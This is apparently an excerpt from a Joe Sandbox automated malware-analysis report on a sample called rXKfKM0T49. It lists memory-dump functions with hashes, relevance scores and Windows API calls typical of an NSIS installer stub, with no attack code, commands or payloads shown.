Source File: 00000003.00000002.2653950437.00000000384E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 384E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_384e0000_rXKfKM0T49.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46bae7c63d6141f8531da4431c172cb053683e404be76afb3c12fd7c59515536
Instruction ID: ea06e5d4d2b5cdb86e1242af14df7cecc8f263c89b9ae513b3b0e4e2e1edbe7c
Opcode Fuzzy Hash: 46bae7c63d6141f8531da4431c172cb053683e404be76afb3c12fd7c59515536
Instruction Fuzzy Hash: 68F0A020348315A7EA046AED4415B2B775A9BD5252B10843AF502D6B40DEA5AC0603F6

Function 0015B158 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2623869181.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_rXKfKM0T49.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da33a8fe946f631774d448eeb3150d28e33dbcbb26f0cab15f6a76b4f6ced4f3
Instruction ID: 7ce5dd460b20524b3ee8ea6aa1bc9270369c55696219275ce8eca26a784d2a9f
Opcode Fuzzy Hash: da33a8fe946f631774d448eeb3150d28e33dbcbb26f0cab15f6a76b4f6ced4f3
Instruction Fuzzy Hash: 64E0CA32425F06CBF3002F30ACAC32ABBA1FB0B313F816E10A00A82431AB7895448A48

Function 0015FE10 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2623869181.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_rXKfKM0T49.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20c5de74a62ab730edd308af7a55f7b9af530bcbf7a3f0a8270d08b02e354abd
Instruction ID: 2c73dea52aec403af639ecb4e2e2a3d22119734503c51392817459d630b59653
Opcode Fuzzy Hash: 20c5de74a62ab730edd308af7a55f7b9af530bcbf7a3f0a8270d08b02e354abd
Instruction Fuzzy Hash: 40F08C34904708DFCB04EFB4E84968C7BB5EB49302F9181BACC2AA3261E7308E46DB40

Function 0015FC38 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2623869181.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_rXKfKM0T49.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43bb10305a1482832357f5d0df76f1888a999fb88be9b2727f510ee9d3d47134
Instruction ID: 4a730996fb3c99c86d910292422f67d26f9217c5fc5ed7503f6cdfb074ff0fdc
Opcode Fuzzy Hash: 43bb10305a1482832357f5d0df76f1888a999fb88be9b2727f510ee9d3d47134
Instruction Fuzzy Hash: 8EF03975951208CFCB84CFA0D4445E87B72EB8A312BA00069DA15BA250C7368C87CB68

Function 00151877 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2623869181.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_rXKfKM0T49.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6c365e06f32707804780505c5fa8f88137818cbfa278eb957ef44482a0e5b9f
Instruction ID: 1210e5b2858770e9714feda90f6f508f06b075233296e598d86298bb69301048
Opcode Fuzzy Hash: e6c365e06f32707804780505c5fa8f88137818cbfa278eb957ef44482a0e5b9f
Instruction Fuzzy Hash: E0E01A35D513668EC712AFB4D8144EEBF74FE93710B4642A7D054AB094EB301A9ECB71

Function 0015FF21 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2623869181.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_rXKfKM0T49.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e0c3b63618425e9774796ba67c49dece430dae0c24e1d3b05c97648d23d9817
Instruction ID: 109f2d3725b5f79d1f69e153855decff3122109a6286dc5ceec07d0ebb0d5037
Opcode Fuzzy Hash: 5e0c3b63618425e9774796ba67c49dece430dae0c24e1d3b05c97648d23d9817
Instruction Fuzzy Hash: 55E0D83150D3C99FDF12EF719C19A94BF38AB43206F4845EED81567853CB304959C79A

Function 0015FE20 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2623869181.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_rXKfKM0T49.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f248989ab6a812734be62c7f311ae20af0e82850c76415bb675edb3f4c5d93a5
Instruction ID: 502bff527ebe41d03c0502b30b60345c82b3cf01a1ad93e820bac7cb8510f653
Opcode Fuzzy Hash: f248989ab6a812734be62c7f311ae20af0e82850c76415bb675edb3f4c5d93a5
Instruction Fuzzy Hash: 27E06D34D04208DFCB04DFB8D44969CBBB5EB49302F6040A98814A3250E7305E45CB40

Function 384E9438 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2653950437.00000000384E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 384E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_384e0000_rXKfKM0T49.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 271e4ce7b40ed3f0583af2f3d9594c122609692fca2bc723ab693e53652ef26a
Instruction ID: 7537188f7ec9118e42e87db8e6bd9053fcb125a5ad65b8988e06c4ade8f3c689
Opcode Fuzzy Hash: 271e4ce7b40ed3f0583af2f3d9594c122609692fca2bc723ab693e53652ef26a
Instruction Fuzzy Hash: B4E0C23602C344CFE3029B7DCC547897B38BF4670AF2110CBE4415FA62DA22BC088696

Function 00151888 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2623869181.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_rXKfKM0T49.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b62b666e2c3b51bdaee4046e600d36fb89607a002e81573755c9bf9bdd280f40
Instruction ID: a7925a47f84833d748cca345b0d4b124d72dd65a835aba162b19291c4699523a
Opcode Fuzzy Hash: b62b666e2c3b51bdaee4046e600d36fb89607a002e81573755c9bf9bdd280f40
Instruction Fuzzy Hash: D8D01732D2022A979B10AAA9DC048EEBB38EE96621B908626D52437140EB70265986B1

Function 384ED095 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2653950437.00000000384E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 384E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_384e0000_rXKfKM0T49.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0aa57bcd1a34f3ab3e91c4d725c9faeadaed2f6b88d99f00519aea524c005a28
Instruction ID: a2f8177471122302f8226027c2c1ba1872dbcc03bfd731c1e5bbc6d26b7c2ce2
Opcode Fuzzy Hash: 0aa57bcd1a34f3ab3e91c4d725c9faeadaed2f6b88d99f00519aea524c005a28
Instruction Fuzzy Hash: 71D05E2251E6A01FD71682287C15C99AF7909CA12034946FBF058CB0E69A855A4A838A

Function 384ECF30 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2653950437.00000000384E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 384E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_384e0000_rXKfKM0T49.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 890af9b9b41409670e97988151123f3d781520df4d8b0c599fa13258ebfc677b
Instruction ID: 14ec92016fa34d916be95de8d039b7a46acb4fbffe5ed7baecf53ba6b5cbac09
Opcode Fuzzy Hash: 890af9b9b41409670e97988151123f3d781520df4d8b0c599fa13258ebfc677b
Instruction Fuzzy Hash: 41D05E3120C2C08FC7138774E8605C47FB05F5B20075D12CAD085DFD73C15AA808C781

Function 001556FF Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2623869181.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_rXKfKM0T49.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02d64f5866806395eb1af97d19dc33c4579059ee6268d4b1034070d7ae363102
Instruction ID: d79f677e8c082fc11b28827c00b4ba0d62d7e746c6fb57e0a1bea206f18fa941
Opcode Fuzzy Hash: 02d64f5866806395eb1af97d19dc33c4579059ee6268d4b1034070d7ae363102
Instruction Fuzzy Hash: F7D02B3100C3484FC216F7709CD5586772BA780100B808511D1445766BEF746BD68B63

Function 00159F6D Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2623869181.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_rXKfKM0T49.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6fd17419a677f90cba46bde992bdae25f94934703a247d32e079e18e1fefad2
Instruction ID: f7599aea6b521f7ce576de9e2ec7c22d477ddcd7ef33663343420c7dc07b33ee
Opcode Fuzzy Hash: d6fd17419a677f90cba46bde992bdae25f94934703a247d32e079e18e1fefad2
Instruction Fuzzy Hash: D7D0673AB00009AFCB059F98EC809DDF776FB98221B048116F915A3260C6319965DB50

Function 384E95D8 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2653950437.00000000384E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 384E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_384e0000_rXKfKM0T49.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 860324745a0e0adc055c87cab5708bc96185accb5101a0ef2f44faea38e072e1
Instruction ID: d78005b8e44d5efde10ccb2bf6b86ada17c5db4df88182a57970eff9a54ed90c
Opcode Fuzzy Hash: 860324745a0e0adc055c87cab5708bc96185accb5101a0ef2f44faea38e072e1
Instruction Fuzzy Hash: BFC08033309710975E35E76DF8405CE57958EC9212714CD3FF045C75445D50AD4B41C5

Function 0015FF30 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2623869181.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_rXKfKM0T49.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b575510537275747390df6de444fb820969cde146a6ce71027acbbda274a48d
Instruction ID: f4b2855b815a4d40e17489798b74c7388adbda1e24d92b207045e203ec9121bc
Opcode Fuzzy Hash: 4b575510537275747390df6de444fb820969cde146a6ce71027acbbda274a48d
Instruction Fuzzy Hash: 9FD0227080420CDFC704DFA0E809BA9B37CEB03303F0000ACA81823210CBB00D00C788

Function 384EBD48 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2653950437.00000000384E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 384E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_384e0000_rXKfKM0T49.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c26d75b2c9e004be6eaa7002b7b5271a6d8ba475b55e5218995b95ebb4ca2d0f
Instruction ID: 69fb3cc54c07aca209800393dbc2669614e77377777ba01a044722f210f85451
Opcode Fuzzy Hash: c26d75b2c9e004be6eaa7002b7b5271a6d8ba475b55e5218995b95ebb4ca2d0f
Instruction Fuzzy Hash: 59C01274442E098BE6082B60AC0CB39B2A8BB07303FC82910A008128308BB854148648

Function 384E94B4 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2653950437.00000000384E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 384E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_384e0000_rXKfKM0T49.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4b044d4315e19b9f9ec5f561de0fd4feba925d6df306caa4388c250683a6acb
Instruction ID: f4118c15f671343d51795081cd575ec5c00f853918ec0ca862e658bef72e36de
Opcode Fuzzy Hash: d4b044d4315e19b9f9ec5f561de0fd4feba925d6df306caa4388c250683a6acb
Instruction Fuzzy Hash: D2C08C30278304CFE200AB5DC884A0133ACFF89B08F2058E0F0158BA61CB22FC004A05

Function 00155710 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2623869181.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_rXKfKM0T49.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab41a2740e7bc486d67e1cde8daaaa86ead2778cdb98eb262cd3103ff891a407
Instruction ID: 64c0fa35aefa8860aebbe9247bb20ec449cfc69d7330e4377586bfffce43f68a
Opcode Fuzzy Hash: ab41a2740e7bc486d67e1cde8daaaa86ead2778cdb98eb262cd3103ff891a407
Instruction Fuzzy Hash: 28C012300083088BD505E7A1DC96555332B67801007C0D510A2055666BEFB469E64B96

Function 0015FFB8 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2623869181.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_rXKfKM0T49.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78a1f5d72b3bc7bcae80da2010768bc5dff8b9bf171ae00c8a24816d6cb94727
Instruction ID: 35382793d18856e569077b7bd074a3fc80c5e114d674d7ea614cc416c62d6094
Opcode Fuzzy Hash: 78a1f5d72b3bc7bcae80da2010768bc5dff8b9bf171ae00c8a24816d6cb94727
Instruction Fuzzy Hash: A5C08C3E204103D78A0FC710849092BFB529BD5282F28C81DB49011224CA258C2289A1

Non-executed Functions

Function 004034A5 Relevance: 75.7, APIs: 32, Strings: 11, Instructions: 410stringfilecomCOMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32 ref: 004034C8
GetVersion.KERNEL32 ref: 004034CE
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 00403501
#17.COMCTL32(?,00000006,00000008,0000000A), ref: 0040353E
OleInitialize.OLE32(00000000), ref: 00403545
SHGetFileInfoW.SHELL32(004216E8,00000000,?,000002B4,00000000), ref: 00403561
GetCommandLineW.KERNEL32(00429240,NSIS Error,?,00000006,00000008,0000000A), ref: 00403576
CharNextW.USER32(00000000,00435000,00000020,00435000,00000000,?,00000006,00000008,0000000A), ref: 004035AE

Part of subcall function 004067C2: GetModuleHandleA.KERNEL32(?,00000020,?,00403517,0000000A), ref: 004067D4
Part of subcall function 004067C2: GetProcAddress.KERNEL32(00000000,?), ref: 004067EF

GetTempPathW.KERNEL32(00000400,00437800,?,00000006,00000008,0000000A), ref: 004036E8
GetWindowsDirectoryW.KERNEL32(00437800,000003FB,?,00000006,00000008,0000000A), ref: 004036F9
lstrcatW.KERNEL32(00437800,\Temp,?,00000006,00000008,0000000A), ref: 00403705
GetTempPathW.KERNEL32(000003FC,00437800,00437800,\Temp,?,00000006,00000008,0000000A), ref: 00403719
lstrcatW.KERNEL32(00437800,Low,?,00000006,00000008,0000000A), ref: 00403721
SetEnvironmentVariableW.KERNEL32(TEMP,00437800,00437800,Low,?,00000006,00000008,0000000A), ref: 00403732
SetEnvironmentVariableW.KERNEL32(TMP,00437800,?,00000006,00000008,0000000A), ref: 0040373A
DeleteFileW.KERNEL32(00437000,?,00000006,00000008,0000000A), ref: 0040374E

Part of subcall function 004063E8: lstrcpynW.KERNEL32(?,?,00000400,00403576,00429240,NSIS Error,?,00000006,00000008,0000000A), ref: 004063F5

OleUninitialize.OLE32(00000006,?,00000006,00000008,0000000A), ref: 00403819
ExitProcess.KERNEL32 ref: 0040383A
lstrcatW.KERNEL32(00437800,~nsu,00435000,00000000,00000006,?,00000006,00000008,0000000A), ref: 0040384D
lstrcatW.KERNEL32(00437800,0040A328,00437800,~nsu,00435000,00000000,00000006,?,00000006,00000008,0000000A), ref: 0040385C
lstrcatW.KERNEL32(00437800,.tmp,00437800,~nsu,00435000,00000000,00000006,?,00000006,00000008,0000000A), ref: 00403867
lstrcmpiW.KERNEL32(00437800,00436800,00437800,.tmp,00437800,~nsu,00435000,00000000,00000006,?,00000006,00000008,0000000A), ref: 00403873
SetCurrentDirectoryW.KERNEL32(00437800,00437800,?,00000006,00000008,0000000A), ref: 0040388F
DeleteFileW.KERNEL32(00420EE8,00420EE8,?,0042B000,00000008,?,00000006,00000008,0000000A), ref: 004038E9
CopyFileW.KERNEL32(00438800,00420EE8,?,?,00000006,00000008,0000000A), ref: 004038FD
CloseHandle.KERNEL32(00000000,00420EE8,00420EE8,?,00420EE8,00000000,?,00000006,00000008,0000000A), ref: 0040392A
GetCurrentProcess.KERNEL32(00000028,0000000A,00000006,00000008,0000000A), ref: 00403959
OpenProcessToken.ADVAPI32(00000000), ref: 00403960
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403975
AdjustTokenPrivileges.ADVAPI32 ref: 00403998
ExitWindowsEx.USER32(00000002,80040002), ref: 004039BD
ExitProcess.KERNEL32 ref: 004039E0

Strings

SeShutdownPrivilege, xrefs: 0040396F
TMP, xrefs: 00403735
TEMP, xrefs: 0040372D
UXTHEME, xrefs: 004034F5, 004034FA, 00403500
Error writing temporary file. Make sure your temp folder is valid., xrefs: 004034BC
Low, xrefs: 0040371B
\Temp, xrefs: 004036FF
.tmp, xrefs: 00403861
NSIS Error, xrefs: 00403567
Error launching installer, xrefs: 004037D0
~nsu, xrefs: 00403845

Memory Dump Source

Source File: 00000003.00000002.2623967057.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2623953413.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623981421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623994935.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2624015630.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: lstrcat$FileProcess$Exit$CurrentDeleteDirectoryEnvironmentHandlePathTempTokenVariableWindows$AddressAdjustCharCloseCommandCopyErrorInfoInitializeLineLookupModeModuleNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrcmpilstrcpynlstrlen
String ID: .tmp$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu
API String ID: 3441113951-334447862
Opcode ID: 05e616f99306ff785708979dde1941866962e16d7e4638c2318d7513fcce5d93
Instruction ID: dafc1af32610b20ef8647c0cf6a3faef20d76686829591872cbc6ab955e55f97
Opcode Fuzzy Hash: 05e616f99306ff785708979dde1941866962e16d7e4638c2318d7513fcce5d93
Instruction Fuzzy Hash: 4DD1F571600310ABE7206F759D49A3B3AECEB4070AF50443FF981B62D2DB7D8956876E

Function 00404DCC Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404DE4
GetDlgItem.USER32(?,00000408), ref: 00404DEF
GlobalAlloc.KERNEL32(00000040,?), ref: 00404E39
LoadBitmapW.USER32(0000006E), ref: 00404E4C
SetWindowLongW.USER32(?,000000FC,004053C4), ref: 00404E65
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404E79
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404E8B
SendMessageW.USER32(?,00001109,00000002), ref: 00404EA1
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404EAD
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404EBF
DeleteObject.GDI32(00000000), ref: 00404EC2
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404EED
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404EF9
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404F8F
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404FBA
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404FCE
GetWindowLongW.USER32(?,000000F0), ref: 00404FFD
SetWindowLongW.USER32(?,000000F0,00000000), ref: 0040500B
ShowWindow.USER32(?,00000005), ref: 0040501C
SendMessageW.USER32(?,00000419,00000000,?), ref: 00405119
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 0040517E
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00405193
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 004051B7
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 004051D7
ImageList_Destroy.COMCTL32(?), ref: 004051EC
GlobalFree.KERNEL32(?), ref: 004051FC
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00405275
SendMessageW.USER32(?,00001102,?,?), ref: 0040531E
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 0040532D
InvalidateRect.USER32(?,00000000,?), ref: 0040534D
ShowWindow.USER32(?,00000000), ref: 0040539B
GetDlgItem.USER32(?,000003FE), ref: 004053A6
ShowWindow.USER32(00000000), ref: 004053AD

Strings

M, xrefs: 00404F76
, xrefs: 00405385
N, xrefs: 00405057

Memory Dump Source

Source File: 00000003.00000002.2623967057.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2623953413.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623981421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623994935.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2624015630.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: 31df49881469a5ecb160dedc783b3d99a93962993771a60ee7fc946c0ea1256b
Instruction ID: 7f687e55a7f93217ddba54fde82f382d197ef8b4c31ab339cf60f2545021b201
Opcode Fuzzy Hash: 31df49881469a5ecb160dedc783b3d99a93962993771a60ee7fc946c0ea1256b
Instruction Fuzzy Hash: DD028DB0A00609EFDF209F94CD85AAE7BB5FB44354F10807AE611BA2E0C7798D52CF58

Function 00405AFA Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 148filestringCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,00437800,76F92EE0,00000000), ref: 00405B23
lstrcatW.KERNEL32(00425730,\*.*,00425730,?,?,00437800,76F92EE0,00000000), ref: 00405B6B
lstrcatW.KERNEL32(?,0040A014,?,00425730,?,?,00437800,76F92EE0,00000000), ref: 00405B8E
lstrlenW.KERNEL32(?,?,0040A014,?,00425730,?,?,00437800,76F92EE0,00000000), ref: 00405B94
FindFirstFileW.KERNEL32(00425730,?,?,?,0040A014,?,00425730,?,?,00437800,76F92EE0,00000000), ref: 00405BA4
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405C44
FindClose.KERNEL32(00000000), ref: 00405C53

Strings

0WB, xrefs: 00405B53
\*.*, xrefs: 00405B65

Memory Dump Source

Source File: 00000003.00000002.2623967057.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2623953413.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623981421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623994935.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2624015630.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: 0WB$\*.*
API String ID: 2035342205-351390296
Opcode ID: c39e99c88a1dbfea07cbdfee3447eb09e3b7895857f1840ffe404f3b8fee67f3
Instruction ID: 490a569b50011677cd34e026f6ab1003dec3a9533e419df12a6715eb2ed0bc70
Opcode Fuzzy Hash: c39e99c88a1dbfea07cbdfee3447eb09e3b7895857f1840ffe404f3b8fee67f3
Instruction Fuzzy Hash: 0541BF30805B18A6EB31AB618D89BAF7678EF41718F10817BF801711D2D77C59C29EAE

Function 00406AF2 Relevance: 5.4, APIs: 4, Instructions: 382COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2623967057.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2623953413.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623981421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623994935.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2624015630.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_rXKfKM0T49.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35cbb8abcdf375330cdaaed117d7ae66e2d52f36901990e867650d9b3411c4d0
Instruction ID: 8a3521d6a9ab1c5b5eb45e3d7957e6eefdd785676f1866d9874d60d9aff9e69c
Opcode Fuzzy Hash: 35cbb8abcdf375330cdaaed117d7ae66e2d52f36901990e867650d9b3411c4d0
Instruction Fuzzy Hash: 1CF16770D04229CBDF18CFA8C8946ADBBB0FF45305F25816ED856BB281D7386A86DF45

Function 0040672B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00437800,00426778,00425F30,00405E0E,00425F30,00425F30,00000000,00425F30,00425F30,00437800,?,76F92EE0,00405B1A,?,00437800,76F92EE0), ref: 00406736
FindClose.KERNEL32(00000000), ref: 00406742

Strings

xgB, xrefs: 0040672C

Memory Dump Source

Source File: 00000003.00000002.2623967057.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2623953413.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623981421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623994935.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2624015630.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: xgB
API String ID: 2295610775-399326502
Opcode ID: 8f8798618dbeb96281b7e152f222c6bef4cfc1fb78c0b92afc6d3f182eb863fd
Instruction ID: 964bfaba6fe47efa91ae3b9d04416f3a0311ddb8c2b0a677c8b566ff70b98767
Opcode Fuzzy Hash: 8f8798618dbeb96281b7e152f222c6bef4cfc1fb78c0b92afc6d3f182eb863fd
Instruction Fuzzy Hash: 08D012315150205BC2011738BD4C85B7A589F553357228B37B866F61E0C7348C62869C

Function 378AE790 Relevance: 1.5, Strings: 1, Instructions: 241COMMON

Download Yara Rule

Strings

D, xrefs: 378AE799

Memory Dump Source

Source File: 00000003.00000002.2652426334.00000000378A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 378A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_378a0000_rXKfKM0T49.jbxd

Similarity

API ID:
String ID: D
API String ID: 0-2746444292
Opcode ID: 5b73389e57a4b6f10820555485e19a1a6c66189bc0adb15f369c3bd1bfbe2cd4
Instruction ID: 02f9e8e457ee530a3400fdc972bc1bc55d197bfb58df35d134f071b615c39050
Opcode Fuzzy Hash: 5b73389e57a4b6f10820555485e19a1a6c66189bc0adb15f369c3bd1bfbe2cd4
Instruction Fuzzy Hash: 8EB1CD74E00358CFDB54DFA4C994BADBBB2AF49300F6081A9D819AB351DB35AE81CF51

Function 384E7B62 Relevance: .6, Instructions: 595COMMON

Download Yara Rule

Memory Dump Source

